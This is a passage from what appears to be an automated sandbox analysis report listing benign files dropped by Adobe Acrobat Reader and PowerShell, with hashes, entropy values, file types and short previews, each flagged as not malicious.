Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664949698786168
Encrypted:	false
SSDEEP:	24:Yv6XWYJhjamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvjYJhTBgkDMUJUAh8cvMQ
MD5:	64F4F55A93152321EF62CAC4A9FC12EB
SHA1:	8AB44A25A867AA3462E34290524E7281D3DA8F3D
SHA-256:	FC337E4197614F763C4CE5892DDCA73AE2D32EF99174D43EB35F81948977D4CA
SHA-512:	ACD5D6EAEECB61D630B08CA51DC92842B46F430A95CE5A93BB6F036C1593BAEEDC12562253677EFCC7ECDEA6A4A9181CB7B62957CC2E72DF1F89042E8076757F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244919691225934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJfshHHrPeUkwRe9:YvXKXunYvR/ZwHA6GUUUkee9
MD5:	FF9F8A68C1D7C59FE4C8723805680AB0
SHA1:	810F7C307F79D67B9081A01A8A668F96BA8CC02C
SHA-256:	216ED834AFA56CB8DC822AE81151AAD7FCF1E6884DF5967B195CAF6D6736DC66
SHA-512:	3C4C493A54BD8A456D9F79588513001809BB98349249FF475305BB87D6A06613A7F02118422988C29D0DE6EEE43B0D96718E9C2AED0982081E68533E8B0C6C48
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.259512764292064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPE06JNYvB3/dVlPIHAR0YYWoAvJTqgFCrPeUkwRe9:YvXKXunYvR/ZwHA6GTq16Ukee9
MD5:	FBAD559365D8079F5CAE54AC56A04615
SHA1:	E85BC248B768360CC8CF2B4893D5E6C3FC30F01C
SHA-256:	6A0AAE7F12B93E85EBED4F8F826A17BD003FC87C689A875427CD714713BB28E8
SHA-512:	76587F08D53331A55F13C9E9E977AEA746D868C8A0B0E90367CA109BAFE3CA2D9AE3F8C0F3192874E43196A0EFF6A2540FC93759B91DF4A22263F66E9920CAAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a6e06ac-18db-46a4-91fd-072db2823001","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736724059156,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135103371036068
Encrypted:	false
SSDEEP:	24:YiIwGa3aayOtJU7PGjsy+Idoty8jdj0SE+42hd2LS2C35AcDEscSv5Yr+mi9luCj:YiFLtWKBix02IkycDENSer+mi9n
MD5:	70B7BCC2B80B01E1426A8FC169765E08
SHA1:	232E5B5465D6DBB4EB7A1A8017C3C48FAF893DAB
SHA-256:	65559DC77300DC1C4373FA327000E46F2B61CCC6267209003F9840B05F49E937
SHA-512:	A8CE5490B31F31F50A52C33BF4E8EB337C3B16DD4AC36D75AB395A6EBF03757B00FF73DAE46A20E2B4E4EF1C3D2F4C49E5913C51E20C8A422957BD273B60BD82
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7de9fcdcdc84f90eae0c2eb6d3ce72a2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549519000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9e68f56a1436f7cc4e3d77522296e31a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549518000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"417751be5072197d2cfcc55434f7797e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549518000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"32caeec7b02d65c5c0c9e6d5ce054d83","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549518000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c7f7b373ba684570db49f605205e7df9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549518000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"523344c9185f0b091aa0af12ef9f3712","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3196475809959964
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahKKkypilIkKy:lNVms9WfMwbPahKXHL
MD5:	316A102AADAF6933A0DDC0FA5B4E5ADE
SHA1:	ABC6DEBC0882B1077FE30B24E0318DAAB8D254FB
SHA-256:	54F1623D123C86853E4F94ED676BFC07D8430DE05724D02376AC8597D0FFC997
SHA-512:	C0158BA11DB8111DDC7428A18509F42AB52BF82668F47591B17FF23B77CEFD4AD0FB1A4AE020822BF09FEC7B218E1D6000342DDA14E6BF1A4CFD3EC5AAE272F4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.779605328760894
Encrypted:	false
SSDEEP:	48:7MUWR1CPmPbPahKKBypilIWqFl2GL7msqO:7ZWfMwbPahKuzKVmsT
MD5:	641454C1D4367BF174274AD492716AB1
SHA1:	34970A892C2859CD8C954BE987F6840F6DAB27A8
SHA-256:	03C5CE6975F30BAA4C9E11FAEE383326D6B8CD89944BB37F3D1662BE4F0021A7
SHA-512:	58632335D8181936929C28BE9A8401C8079AA84FA6A0A0F6D2568862063459649D6D1751D92AB636F29360F531CD5A6E2C77194FD07BA5180595248C399DECB8
Malicious:	false
Preview:	.... .c.....T.'...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg+4RLWmRgLgVRCymaLZrFS+2YYyu:6a6TZ44ADE+4RLWMRCyjmYK
MD5:	A377B5B870B401982AB7F198262AB680
SHA1:	DD71BAC9DBDABF04D96A7F6CE794CFD0D63D4E80
SHA-256:	03C039F8A68E4EB1ADE089D3878C5318C40C7729602B59CD62F829D873FDF8D4
SHA-512:	C1F89CC59A0E0AC4066FEA36DEC67CE04CC06C336B8084FEFF11987612D6B709B02E98E07FF2FC9C4E2680B71D66C878A426642DB57B444CE055366A8EA5D2AB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIda15e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5024069929195045
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEBqw:Qw946cPbiOxDlbYnuRK+bDBqw
MD5:	7E5F9DD76C1339E530C815D041A2E6DB
SHA1:	458A590EDAC505BDDB107CF474837E88F62CFDDD
SHA-256:	D8FB9905F30F176EF9416DADA0D57A7ADE9E281021D19F98AF5E96FCC038BE09
SHA-512:	7FB7499F859C6AFDC26DF51C161B56E5B833FEC93FFD7852B65876C4C939F333BF00D5AF78A0091B3ABB129CD5691C50205058C65476EC1DF1BC0DAE0D3C586B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.5.1.:.5.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rghp14gt.dzg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t2jqlkbx.h3v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-51-52-635.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.353648204118015
Encrypted:	false
SSDEEP:	384:uKU38Ot316hu4LwEz1sl6s/6OFADpUQfdOXLNxGNUwRMSooGmRxzkbkZ4r5Ox4Yb:i0Z
MD5:	7BFD9C4D3137AF8E8399C673994C8575
SHA1:	B8F3E2871C4D831297ADEB8C9BA26C2D1C0AD86B
SHA-256:	274DCB0665BB1C9C19B41940E0EAAA3D9A44B5FAB8B6055CE6AD76A98669766A
SHA-512:	6D9F667E09D187F353BD08A5E27205BD2F201399CE02A5B2BB82C4F4C910FF55096AE908DBC36BD06A9FBAAE5102776C56C9BDCA210388D3F8DFE7581860FAFE
Malicious:	false
Preview:	SessionID=c4c3ef7f-a275-4f92-ad0c-bfc892baee49.1736549512662 Timestamp=2025-01-10T17:51:52:662-0500 ThreadID=1612 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c4c3ef7f-a275-4f92-ad0c-bfc892baee49.1736549512662 Timestamp=2025-01-10T17:51:52:681-0500 ThreadID=1612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c4c3ef7f-a275-4f92-ad0c-bfc892baee49.1736549512662 Timestamp=2025-01-10T17:51:52:681-0500 ThreadID=1612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c4c3ef7f-a275-4f92-ad0c-bfc892baee49.1736549512662 Timestamp=2025-01-10T17:51:52:681-0500 ThreadID=1612 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c4c3ef7f-a275-4f92-ad0c-bfc892baee49.1736549512662 Timestamp=2025-01-10T17:51:52:681-0500 ThreadID=1612 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400486612141426
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbROcbuILfcbl:ceo4+rsCrrLQ
MD5:	33219417A88D7C4D9D24485C9A6951CF
SHA1:	AECC2FA35C64CC9664E57D234A16A7E9DF78E233
SHA-256:	B6231FD7C4A4C28682CA7945536F35D31D6CB7C694E1BB31FF9C96E10E211E8A
SHA-512:	F80905F740ABF8C20F266BEB1A1483D353D386B08B7CCB04185E5E2770D7B29882E0F41F2E62B76D40330184FC1220F5C7B344E10F93940AA073E7904AF78E42
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3347ab55-0de6-499d-9578-044d433be023.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\76c03832-5cee-435f-bc46-08ac39f51d3a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b0455833-cbdc-4df8-af22-a2f1ad6b5533.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e37a48e5-66ea-4b6a-99e6-c8e8fcac9b0a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
